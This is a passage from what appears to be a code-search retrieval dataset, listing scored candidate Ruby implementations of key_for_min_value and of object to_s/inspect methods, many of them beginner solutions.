"41f0d5d4371e7e781570c4842a0b94c6", "score": "0.8359057", "text": "def key_for_min_value(hash)\n min = nil\n k = nil\n hash.each do |key, value|\n if !min || value < min\n min = value\n k = key\n end\n end\n k\nend", "title": "" }, { "docid": "7f14531cc53cc34d9511f767e6802bc3", "score": "0.8355798", "text": "def key_for_min_value(hash)\n min_val = nil\n min_key = nil\n \n hash.each do |key, value|\n if min_val == nil || value < min_val \n min_val = value\n min_key = key\n end\n end \n return min_key\nend", "title": "" }, { "docid": "b95a68401d61853e70592407ff571cd2", "score": "0.834804", "text": "def key_for_min_value(hash)\n\n low_name = nil\n low_val = nil\n\n hash.each do |name, value|\n if low_val == nil || value < low_val\n low_val = value\n low_name = name\n end\n end\n return low_name\nend", "title": "" }, { "docid": "d5dfe37d5df260abb8710e463b1fe496", "score": "0.8346101", "text": "def key_for_min_value(name_hash)\n smallest = nil\n smallkey = nil\n if name_hash == {}\n nil\n else\n name_hash.collect do |key, value|\n if nil == smallest\n smallest = value\n smallkey = key\n elsif value < smallest\n smallest = value\n smallkey = key\n end\n end\n smallkey\n end\nend", "title": "" }, { "docid": "b16999cb8da6c5e1834d351837391d0d", "score": "0.83452654", "text": "def key_for_min_value(name_hash)\n smallest = Float::INFINITY\n sel = nil\n name_hash.collect do |k,v|\n if v < smallest\n smallest = v\n sel = k\n end\n end\n sel\nend", "title": "" }, { "docid": "857cc51f5b6466f0430d231363675ebf", "score": "0.83372957", "text": "def key_for_min_value(name_hash)\nsmallest_key=nil\nsmallest_value = 10000\nname_hash.each do |key, number| \n if number<=smallest_value\n smallest_value=number\n end\nend\nname_hash.key(smallest_value)\nend", "title": "" }, { "docid": "cfce992210d54da8d8e0779dd767fa8c", "score": "0.83348083", "text": "def key_for_min_value(name_hash)\n low = Float::INFINITY # express infinity\n name_hash.each do |key, value|\n if value < low\n low = value\n end\n end\n name_hash.key(low)\nend", "title": "" }, { "docid": "f6433b669cfc53e3a16fcb7150f69b0b", "score": "0.8329563", "text": "def key_for_min_value(the_hash)\n vals = the_hash.map { |k, v| v }\n keys = the_hash.map { |k, v| k }\n lowest = vals.sort[0]\n\n if the_hash.empty?\n nil\n else\n return keys[vals.index(lowest)]\n end\nend", "title": "" }, { "docid": "5a67ad385bebec655f7c2d75ca28158d", "score": "0.8327468", "text": "def key_for_min_value(hash)\n low_key = nil\n high_value = 100000\n hash.each do |key, value|\n if value < high_value\n high_value = value\n low_key = key\n end\n end\n low_key\nend", "title": "" }, { "docid": "aa1f9c93291d2bc18f48a727341b1d48", "score": "0.8326719", "text": "def key_for_min_value(name_hash)\n smallest = nil\n final_key = nil\n name_hash.each do |key, value|\n if !smallest\n smallest = value\n final_key = key\n else\n if value < smallest\n smallest = value\n final_key = key\n end\n end\n end\n final_key\nend", "title": "" }, { "docid": "93060b60c5fc8699ce56aab3aa5aa633", "score": "0.83237803", "text": "def key_for_min_value(name_hash)\n\tskey, smallest = name_hash.first\n\tname_hash.each do |key, value|\n\t\tif value < smallest\n\t\t\tskey = key\n\t\tend\n\tend\n\tskey\nend", "title": "" }, { "docid": "b414e6e748b033108975ab3559eeb4ac", "score": "0.83224696", "text": "def key_for_min_value(name_hash)\n key_of_lowest_value = nil\n lowest_value = 999999999999\n name_hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n key_of_lowest_value = k\n end\n end\n key_of_lowest_value\nend", "title": "" }, { "docid": "51a6cadf90ff0488493c451230083dc0", "score": "0.8317531", "text": "def key_for_min_value(hash)\n if hash.length == 0 \n return nil \n end\n \n min_key = 9999\n min_val = 9999\n \n hash.each do |key, value|\n if value < min_val\n min_val = value\n min_key = key\n end\n end\n return min_key\n \n \nend", "title": "" }, { "docid": "ded2ec0f491d9511b7412df8aeca5ef7", "score": "0.83148897", "text": "def key_for_min_value(name_hash)\n lowest_value = 1000\n lowest_key = nil\n name_hash.each do |key, value|\n if value < lowest_value\n lowest_value = value\n end\n if lowest_value == value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "cae87c3799e039dd1987880e1b822b73", "score": "0.8305515", "text": "def key_for_min_value(hash)\n min_k = nil\n min_v = nil\n hash.each do |key, value|\n min_k = key if min_k == nil\n min_v = value if min_v == nil\n if value < min_v\n min_v = value\n min_k = key\n end\nend\n min_k\nend", "title": "" }, { "docid": "648bd9d1f9348e215d9d8b065f08807f", "score": "0.83021575", "text": "def key_for_min_value(name_hash)\n lowest_value = 0\n lowest_key = nil\n name_hash.each do |key,value|\n if lowest_value == 0 || value < lowest_value\n lowest_value = value \n lowest_key = key\n end\n end\n lowest_key\n end", "title": "" }, { "docid": "e0b51124441bb3a0844fd1cbb9841254", "score": "0.83015746", "text": "def key_for_min_value(has)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k,v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "b0b3d135407df1cd296dfea704f502c9", "score": "0.8299233", "text": "def key_for_min_value(hash)\n lowest_key = nil \n lowest_value = nil\n hash.collect do |a, b|\n if lowest_value == nil || b < lowest_value\n lowest_value = b\n lowest_key = a \n end\n end\n lowest_key\nend", "title": "" }, { "docid": "c39b4b472ca2c3b934c6a4768c11d10b", "score": "0.82921654", "text": "def key_for_min_value(hash)\n out = nil\n nill = nil \n hash.each do |k,v|\n if nill == nil || v < nill\n out = k\n nill = v\n end\n end\n out\nend", "title": "" }, { "docid": "475cc305ddb149081fa9fba1de97c060", "score": "0.8286357", "text": "def key_for_min_value(hash)\n\tif hash != {}\n\t\tarray = hash.sort_by{|k,v| v}\n\t\tnew_hash = Hash[array.map {|key, value| [key, value]}]\n\t\tkey_array = new_hash.keys\n\t\tkey_array[0]\n\telse\n\t\tnil\n\tend\nend", "title": "" }, { "docid": "67fc803b393c9120086b050dd0ab8884", "score": "0.82838994", "text": "def key_for_min_value(name_hash)\n hash_num = 0\n lowest_hash_key = \"\"\n if name_hash == {}\n return\n end\n\n name_hash.collect do |key, value|\n if hash_num == 0\n hash_num = value\n lowest_hash_key = key\n elsif hash_num > value\n hash_num = value\n lowest_hash_key = key\n\n end\n end\n lowest_hash_key\nend", "title": "" }, { "docid": "fdcd20dc142920b8d4662027d722898e", "score": "0.8282669", "text": "def key_for_min_value(name_hash)\n lowest = 99999999\n if name_hash == {}\n nil\n else\n name_hash.collect do |key, value|\n if value < lowest\n lowest = value\n end\n end\n name_hash.key(lowest)\nend\nend", "title": "" }, { "docid": "5527b3ba0bcb7869fd27f7d5f7410ab3", "score": "0.82762617", "text": "def key_for_min_value(name_hash)\n smallest_value = 10000\n name_hash.each do |key, value|\n if value < smallest_value\n smallest_value = value\n end \n end\n smallest_value\n name_hash.key(smallest_value)\nend", "title": "" }, { "docid": "dd557f5393598205c4b2e991e2502023", "score": "0.82752043", "text": "def key_for_min_value(name_hash)\n smallestKey = nil\n smallestValue = 2000\n name_hash.collect do |item, num|\n if num < smallestValue\n smallestKey = item\n smallestValue = num\n end\n end\n smallestKey\nend", "title": "" }, { "docid": "f320036f51c62e20e03d41242df7e80a", "score": "0.8273071", "text": "def key_for_min_value(name_hash)\n\tsmallest_value = 0\n\tsmallest_value_key = nil\n\n\tname_hash.each_with_index do |(key, value), i|\n\t\tif i == 0\n\t\t\tsmallest_value = value\n\t\t\tsmallest_value_key = key\n\t\tend\n\t\tif smallest_value > value\n\t\t\tsmallest_value = value \n\t\t\tsmallest_value_key = key\n\t\tend\n\tend\n\tsmallest_value_key\nend", "title": "" }, { "docid": "b393a616dc6eb0e638b2fec00be397be", "score": "0.82710737", "text": "def key_for_min_value(hash)\n lowest_value = nil\n lowest_key = nil\n\n hash.each do |key, value|\n if lowest_value == nil || value < lowest_value #so lowest_value == nil MUST be first, or else get argumentative error because cant compare value \"<\" nil argumentative error\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "24cbce2787c5f157492fed1063e9b198", "score": "0.8270788", "text": "def key_for_min_value(name_hash)\n if name_hash == {}\n return nil\n end\n low_num = name_hash.first[1]\n low_key = name_hash.first[0]\n name_hash.each do |key, value|\n if value < low_num\n low_num = value\n low_key = key\n end\n end\n low_key \nend", "title": "" }, { "docid": "793438733ebf3f09ab385967728f189c", "score": "0.82707137", "text": "def key_for_min_value(name_hash)\n key = nil\n num = nil\n name_hash.each do |name, value|\n if num == nil\n num = value\n key = name\n elsif value < num\n num = value\n key = name\n end\n end\n key\nend", "title": "" }, { "docid": "328fe637744c9da882e74cca5dfcc629", "score": "0.8268347", "text": "def key_for_min_value(name_hash)\n values = name_hash.collect {|key, value| value}\n smallest = values[0]\n for value in values\n if value < smallest\n smallest = value\n end\n end\n name_hash.key(smallest)\nend", "title": "" }, { "docid": "85a8990a2d65a4a50cc41262330aac5c", "score": "0.82658124", "text": "def key_for_min_value(name_hash)\n if name_hash.size == 0\n return nil\n else\n smallest_key, smallest_key_num = name_hash.first\n name_hash.each do |key, num|\n if num < smallest_key_num\n smallest_key_num = num\n smallest_key = key\n end\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "91f6e33b3609ad60d72b88e544c0652c", "score": "0.8258243", "text": "def key_for_min_value(name_hash)\n smallest_value = 9999999999999\n smallest_key = nil\n name_hash.each do |element|\n if element[1]< smallest_value\n smallest_value = element[1]\n smallest_key = element[0]\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "9b4a41cb37c1a6c3ed4a06e13fc83c50", "score": "0.82576096", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |key, value|\n if lowest_value == nil || value < lowest_value #lowest_value = nil in this part\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "ae712e1cd355755d634fa182a00e2eb7", "score": "0.8255209", "text": "def key_for_min_value(name_hash)\n \n lowest_number = 1000\n lowest_key = nil\n \n name_hash.each do |key, value|\n if value < lowest_number\n lowest_number = value \n lowest_key = key \n end\n end\n return lowest_key \nend", "title": "" }, { "docid": "8ff3186ed34716366ce4489b764b2196", "score": "0.8252926", "text": "def key_for_min_value(hash) \n\n min_value = 0\n min_key = 0\n \n if hash.empty?\n return nil\n end\n \n hash.each do |key, value|\n\n if min_value == 0 || value < min_value \n min_value = value\n min_key = key\n end\n end\n min_key\n\n \n \n\n\nend", "title": "" }, { "docid": "fea0eb5b81db16536604c58d63aeccff", "score": "0.8250988", "text": "def key_for_min_value(name_hash)\n smallest_key_value = 0\n desired_key = nil\n name_hash.each do |key, value|\n if value < smallest_key_value || smallest_key_value == 0\n smallest_key_value = value\n desired_key = key\n end\n end\n desired_key\nend", "title": "" }, { "docid": "54267f4b76ae17968e3673fcf95dd264", "score": "0.82506424", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k, v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\np lowest_key\nend", "title": "" }, { "docid": "d6a9f5ef7d887c611613c767f0e140fd", "score": "0.8247825", "text": "def key_for_min_value(hash)\n key2 = nil\n value2 = nil\n hash.collect do |key, value|\n if value2 == nil\n key2 = key\n value2 = value\n elsif value2 > value\n key2 = key\n value2 = value\n end\n end\n key2\nend", "title": "" }, { "docid": "88192afde83c8678ab9af58808ffd384", "score": "0.8245004", "text": "def key_for_min_value(name_hash)\n num = 0\n name_hash.each do |key,value|\n if num == 0\n num = value\n elsif value < num\n num = value\n end\n end\n name_hash.key(num)\nend", "title": "" }, { "docid": "c576f4496abe817d198d25ea16588771", "score": "0.82449263", "text": "def key_for_min_value(name_hash)\n lowest = 1000000\n lowest_item = nil\n name_hash.each do |item, value|\n if value < lowest\n lowest = value\n lowest_item = item\n end\n end\n lowest_item\nend", "title": "" }, { "docid": "fbdc95c4d6850f1cdcf75c33bed5ad62", "score": "0.8244298", "text": "def key_for_min_value(name_hash)\n lowest_value = find_lowest(name_hash)\n name_hash.key(lowest_value)\nend", "title": "" }, { "docid": "71429da2eb250413a3b57bdbde630ba8", "score": "0.8238181", "text": "def key_for_min_value(name_hash)\n if name_hash.empty?\n return\n end\n val = 10000000000\n smallest_key = \"\"\n name_hash.collect do |key, value|\n if value < val\n smallest_key = key\n val = value\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "647eb140844a5332166368d3bcfecc8a", "score": "0.823783", "text": "def key_for_min_value(name_hash)\n lowest = 0\n lowest_key = nil\n name_hash.each do |k, v|\n if lowest == 0\n lowest = v\n lowest_key = k\n elsif lowest > v\n lowest = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "c38491fddaa2fe9b333d19f06c52525e", "score": "0.8233403", "text": "def key_for_min_value(hash)\n small = nil\n tiny = nil\n hash.each do |key, value|\n if tiny == nil || value < tiny\n tiny = value\n small = key\n end\n end\n small\nend", "title": "" }, { "docid": "7c062fa83e9059d43e1039279afbf733", "score": "0.8232323", "text": "def key_for_min_value(name_hash)\n smallest_key=nil \n smallest_value=nil\n name_hash.each do |key, val|\n if smallest_key== nil||val<smallest_value\n smallest_value=val\n key=smallest_key= key\n end\n end\n\n smallest_key\n end", "title": "" }, { "docid": "97eae1a02a7297721cbdf2d1285d7425", "score": "0.82317305", "text": "def key_for_min_value(name_hash)\n hash_values = name_hash.collect {|key, value| value}\n least = hash_values[0]\n hash_values.each do |value| \n if value < least\n least = value\n end\n end\n name_hash.key(least)\nend", "title": "" }, { "docid": "7d7b08d498c532430b3c70f1f9c1c5f8", "score": "0.8231076", "text": "def key_for_min_value(name_hash)\n smallest_value = 0 \n smallest_key = nil \n name_hash.each do |key,value|\n if smallest_value == 0 || value < smallest_value\n smallest_value = value \n smallest_key = key \n end \n end\n smallest_key\nend", "title": "" }, { "docid": "bf221d5a2dee3eb005185f3bdfc2df65", "score": "0.82290983", "text": "def key_for_min_value(name_hash)\nlowest = 999999\nresult = nil\nname_hash.each do |key, value|\n if value < lowest\n result = key\n lowest = value\nend\n end\nresult\nend", "title": "" }, { "docid": "0ec68a27d47bc14735c772b55f02ff92", "score": "0.82289404", "text": "def key_for_min_value(name_hash)\n return nil if name_hash.empty?\n lowest_value=99\n name_hash.each { |key,value|\n lowest_value = value unless lowest_value < value\n }\n name_hash.key(lowest_value)\nend", "title": "" }, { "docid": "a20616bf7fc77d9ceb14bfb8a0c1d081", "score": "0.8227666", "text": "def key_for_min_value(name_hash)\n if name_hash.empty?\n nil\n else\n small_value = nil\n small_key = nil\n name_hash.each do |name, num|\n if small_value == nil || num < small_value\n small_value = num\n small_key = name\n end\n end\n small_key\n end\nend", "title": "" }, { "docid": "6e808f0dbde08485fe8003dfbe0ae78d", "score": "0.8226706", "text": "def key_for_min_value(hash)\n\n name, acc = hash.first\n\n if hash == {}\n nil\n else\n hash.each do |key, value|\n if value < acc\n acc = value\n name = key\n end\n end\n end\n name\nend", "title": "" }, { "docid": "8df01aa2faf978c607b835713ad334f8", "score": "0.82259583", "text": "def key_for_min_value(name_hash)\nsmall_key = nil\n small_value = 9999\n name_hash.each do |key, value|\n if value < small_value \n small_value = value\n small_key = key\n end\n end\n small_key\n end", "title": "" }, { "docid": "0285361eac212bf1042b9aa8c81ed8f5", "score": "0.8221031", "text": "def key_for_min_value(h)\n\tmin = h.collect do |key, value|\n\t\tvalue\n\tend\n\tsmallest = min[0]\n\tcount = 0\n\twhile count < min.length\n\t\tmin.each_with_index do |num, index|\n\t\t\tif min[index] < min[count]\n\t\t\t\tsmallest = min[index]\n\t\t\tend\n\t\tend\n\t\tcount += 1\n\tend\n\th.index(smallest)\nend", "title": "" }, { "docid": "95e0ab7c417950b476dd8eebf6647f2b", "score": "0.8219711", "text": "def key_for_min_value(name_hash)\n value = nil\n select_key = nil\n\n name_hash.each do |key, num|\n if value == nil\n value = num\n select_key = key\n elsif num < value\n value = num\n select_key = key\n end\n end\n\n select_key\nend", "title": "" }, { "docid": "6795b9b3296b44c68a6c377481104209", "score": "0.8217553", "text": "def key_for_min_value(name_hash)\n low_value = 0\n name_hash.each do |key, value|\n if low_value == 0\n low_value = value\n elsif low_value < value\n else\n low_value = value\n end\n end\n low_value\n\n name_hash.key(low_value)\nend", "title": "" }, { "docid": "20383784bc7faed9218241bdf579d458", "score": "0.82174796", "text": "def key_for_min_value(name_hash)\n if name_hash.empty?\n return nil\n end\n highest_value = 999999\n smallest_key = 0\n name_hash.collect do |key, value|\n if value < highest_value\n highest_value = value\n smallest_key = key\n end\n end\n smallest_key\nend", "title": "" } ]
a7a817661c0faa5c863dfc7d8fa829b2
Returns the string representation of the object
[ { "docid": "a408df9f3be79d7c20500741a990725c", "score": "0.0", "text": "def to_s\n to_hash.to_s\n end", "title": "" } ]
[ { "docid": "fbdd4f858146598aaabf84003282a8d1", "score": "0.9019143", "text": "def to_s\n @object.to_s\n end", "title": "" }, { "docid": "d69be2e09bbb16dc0e9df0ec2905d3f4", "score": "0.88394713", "text": "def to_s\n\t\treturn self.obj.to_s\n\tend", "title": "" }, { "docid": "02404f3e844aff8dcfc9b3622bad0ef8", "score": "0.87405366", "text": "def to_s\n @string || @object.to_s\n end", "title": "" }, { "docid": "02404f3e844aff8dcfc9b3622bad0ef8", "score": "0.87405366", "text": "def to_s\n @string || @object.to_s\n end", "title": "" }, { "docid": "02404f3e844aff8dcfc9b3622bad0ef8", "score": "0.87405366", "text": "def to_s\n @string || @object.to_s\n end", "title": "" }, { "docid": "02404f3e844aff8dcfc9b3622bad0ef8", "score": "0.87405366", "text": "def to_s\n @string || @object.to_s\n end", "title": "" }, { "docid": "02404f3e844aff8dcfc9b3622bad0ef8", "score": "0.87405366", "text": "def to_s\n @string || @object.to_s\n end", "title": "" }, { "docid": "02404f3e844aff8dcfc9b3622bad0ef8", "score": "0.87405366", "text": "def to_s\n @string || @object.to_s\n end", "title": "" }, { "docid": "678626aeedf2a51f0ced828f2ceff9a6", "score": "0.8443787", "text": "def to_s\n \"#<#{self.class.name}:#{object_id} @name=#{name}>\"\n end", "title": "" }, { "docid": "75c468ae7aac18e1f6817fa278aa2fc3", "score": "0.8339536", "text": "def to_s\n self.inspect\n end", "title": "" }, { "docid": "75c468ae7aac18e1f6817fa278aa2fc3", "score": "0.8339536", "text": "def to_s\n self.inspect\n end", "title": "" }, { "docid": "949ee2fc40124ca888e175c0eed1455e", "score": "0.8336759", "text": "def to_s\n self.inspect\n end", "title": "" }, { "docid": "9de4b58d246a11e5383cd14d25999c96", "score": "0.83325315", "text": "def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end", "title": "" }, { "docid": "1bb96ca64dfa2a62873721f729ef1280", "score": "0.8240106", "text": "def to_s\n @object.to_s.freeze\n end", "title": "" }, { "docid": "675bce66fdef91212dbe19a9857e1741", "score": "0.8210682", "text": "def to_s\n _raw_instance.to_s\n end", "title": "" }, { "docid": "43c77b14298648b096d94635f07e6782", "score": "0.8125573", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "43c77b14298648b096d94635f07e6782", "score": "0.8125573", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "43c77b14298648b096d94635f07e6782", "score": "0.8125573", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "43c77b14298648b096d94635f07e6782", "score": "0.8125573", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "7416c3e1e8b3046e92041323c0e00f03", "score": "0.8081047", "text": "def to_s\r\n dump\r\n end", "title": "" }, { "docid": "dc16640466975aaaac38873b774725f2", "score": "0.80769837", "text": "def to_s\n serialize\n end", "title": "" }, { "docid": "dc16640466975aaaac38873b774725f2", "score": "0.80769837", "text": "def to_s\n serialize\n end", "title": "" }, { "docid": "155e25d5f0afed82a7106ebe1b90691c", "score": "0.8073595", "text": "def to_s\n @string\n end", "title": "" }, { "docid": "c9665cf6d36e290f3e7e69bed1917a71", "score": "0.8071601", "text": "def serialize\n to_s\n end", "title": "" }, { "docid": "952d8a8e8b5c89a708f94d451703a12a", "score": "0.80568695", "text": "def to_s\n objects = to_h.collect { |k, v| \"#{k}=#{v}\" }.join(' ')\n \"#<#{self.class.name}:#{object_id} #{objects}\"\n end", "title": "" }, { "docid": "952d8a8e8b5c89a708f94d451703a12a", "score": "0.80568695", "text": "def to_s\n objects = to_h.collect { |k, v| \"#{k}=#{v}\" }.join(' ')\n \"#<#{self.class.name}:#{object_id} #{objects}\"\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80485845", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80485845", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80485845", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80485845", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80485845", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80485845", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80485845", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80485845", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "1a589177dcc06ee743d16d92e5b263e0", "score": "0.8020819", "text": "def to_s\n inspect.to_s\n end", "title": "" }, { "docid": "1a589177dcc06ee743d16d92e5b263e0", "score": "0.8020819", "text": "def to_s\n inspect.to_s\n end", "title": "" }, { "docid": "adfe0d463793f76edc0508608484c743", "score": "0.8003827", "text": "def to_s\n @string\n end", "title": "" }, { "docid": "b0ef1522a002ae52d75f6969031a934c", "score": "0.79798335", "text": "def to_s\r\n end", "title": "" }, { "docid": "b0ef1522a002ae52d75f6969031a934c", "score": "0.79798335", "text": "def to_s\r\n end", "title": "" }, { "docid": "92175452657e51c44591a1c7015b72fd", "score": "0.7977968", "text": "def inspect\n to_s!\n end", "title": "" }, { "docid": "3675a63771c10d1ccdee44e116437c80", "score": "0.7973289", "text": "def to_s\n self.to_h.inspect\n end", "title": "" }, { "docid": "52dd5faf663b53cadb374ac2d826d788", "score": "0.79662955", "text": "def to_s\n serialize.to_s\n end", "title": "" }, { "docid": "97d9c57822555c523dce3148048d7b1c", "score": "0.7960373", "text": "def to_s\n @string\n end", "title": "" }, { "docid": "97d9c57822555c523dce3148048d7b1c", "score": "0.7960373", "text": "def to_s\n @string\n end", "title": "" }, { "docid": "a359b877abd28b7abf7f8c678ea8577d", "score": "0.7944146", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "a359b877abd28b7abf7f8c678ea8577d", "score": "0.7944146", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "a359b877abd28b7abf7f8c678ea8577d", "score": "0.7944146", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "d6bed2a77681ae6e5101696e99d03ecd", "score": "0.79394335", "text": "def to_s\n to_h.to_s\n end", "title": "" }, { "docid": "15508caf3f119bdd4d943db10efc66e1", "score": "0.7927981", "text": "def to_s\n return \"#<#{self.class}:#{(self.object_id * 2).to_s(16)} @attributes=#{self.attributes}\"\n end", "title": "" }, { "docid": "83e05374f900a85ad4fc71c35acc4428", "score": "0.7922405", "text": "def inspect\n serialize.to_s\n end", "title": "" }, { "docid": "2e8d71c1fb99c9472e63f1f75be7d858", "score": "0.7921607", "text": "def dump\n to_s\n end", "title": "" }, { "docid": "92df5e1734c67871e41bb52e710873f1", "score": "0.79192483", "text": "def to_s\n \"#<#{self.class.inspect}(#{@name})>\"\n end", "title": "" }, { "docid": "5d15a288f94eb3b75eaeac36ce19d48f", "score": "0.79180473", "text": "def to_s\n @string ||= Builder::ToString.new(self).string\n end", "title": "" }, { "docid": "e836c41071a21d5c7c57bfbda782006f", "score": "0.79158425", "text": "def to_s\n @s\n end", "title": "" }, { "docid": "e9c7394b1a677651a30121fc2bed7989", "score": "0.7907694", "text": "def to_s\n self\n end", "title": "" }, { "docid": "38f04d8671f617b50259203bcc9eb181", "score": "0.78972733", "text": "def to_s\n to_s!\n end", "title": "" }, { "docid": "d13869c5cc419421fbea3c80b2caa9e3", "score": "0.78958744", "text": "def to_s\n to_string\n end", "title": "" }, { "docid": "40a6909d6bf98586a2feefc819abd1e9", "score": "0.78948504", "text": "def to_s\n to_result.inspect\n end", "title": "" }, { "docid": "0217022f868f9d2727b90dbc6b767326", "score": "0.7884923", "text": "def to_s\n proc { |obj| obj.to_s.inspect }\n end", "title": "" }, { "docid": "0217022f868f9d2727b90dbc6b767326", "score": "0.7884923", "text": "def to_s\n proc { |obj| obj.to_s.inspect }\n end", "title": "" }, { "docid": "0217022f868f9d2727b90dbc6b767326", "score": "0.7884923", "text": "def to_s\n proc { |obj| obj.to_s.inspect }\n end", "title": "" }, { "docid": "49bb934e4aa5abfc5ac38d66d28872e2", "score": "0.7881934", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "49bb934e4aa5abfc5ac38d66d28872e2", "score": "0.7881934", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "49bb934e4aa5abfc5ac38d66d28872e2", "score": "0.7881934", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.7874987", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "b3d03d905f97ad971786ab8dbe483e06", "score": "0.786983", "text": "def to_s\n \"<#{self.class.name} #{to_str}>\"\n end", "title": "" }, { "docid": "9b555a02cfbee8f1c3923b96194fc2ca", "score": "0.7869737", "text": "def to_s()\n return \"[#{@VAR_OBJECT.class.to_s()}, #{@VAR_OBJECT.to_s()}]\"\n end", "title": "" }, { "docid": "364f1784dffe3f0124d6223ec0464340", "score": "0.78673047", "text": "def to_s\r\n end", "title": "" }, { "docid": "364217bde731c34cfd5336c47ea54c11", "score": "0.78666323", "text": "def inspect\n self.to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865125", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865125", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865125", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865125", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865125", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865125", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865125", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "86f39c437ffd61e3672aca1c77779b61", "score": "0.78608847", "text": "def to_s\n to_h.inspect\n end", "title": "" }, { "docid": "842f76e004c6c9d9728c81caafab5eb2", "score": "0.78546226", "text": "def _to_s\n \"#<#{self.class}:0x#{object_id << 1} #{ary}>\"\n end", "title": "" }, { "docid": "f62b89fb04345615d4227d734f79a3f2", "score": "0.7854409", "text": "def to_s\n self.to_str\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.78492916", "text": "def to_s\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.78492916", "text": "def to_s\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.78492916", "text": "def to_s\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.78492916", "text": "def to_s\n end", "title": "" }, { "docid": 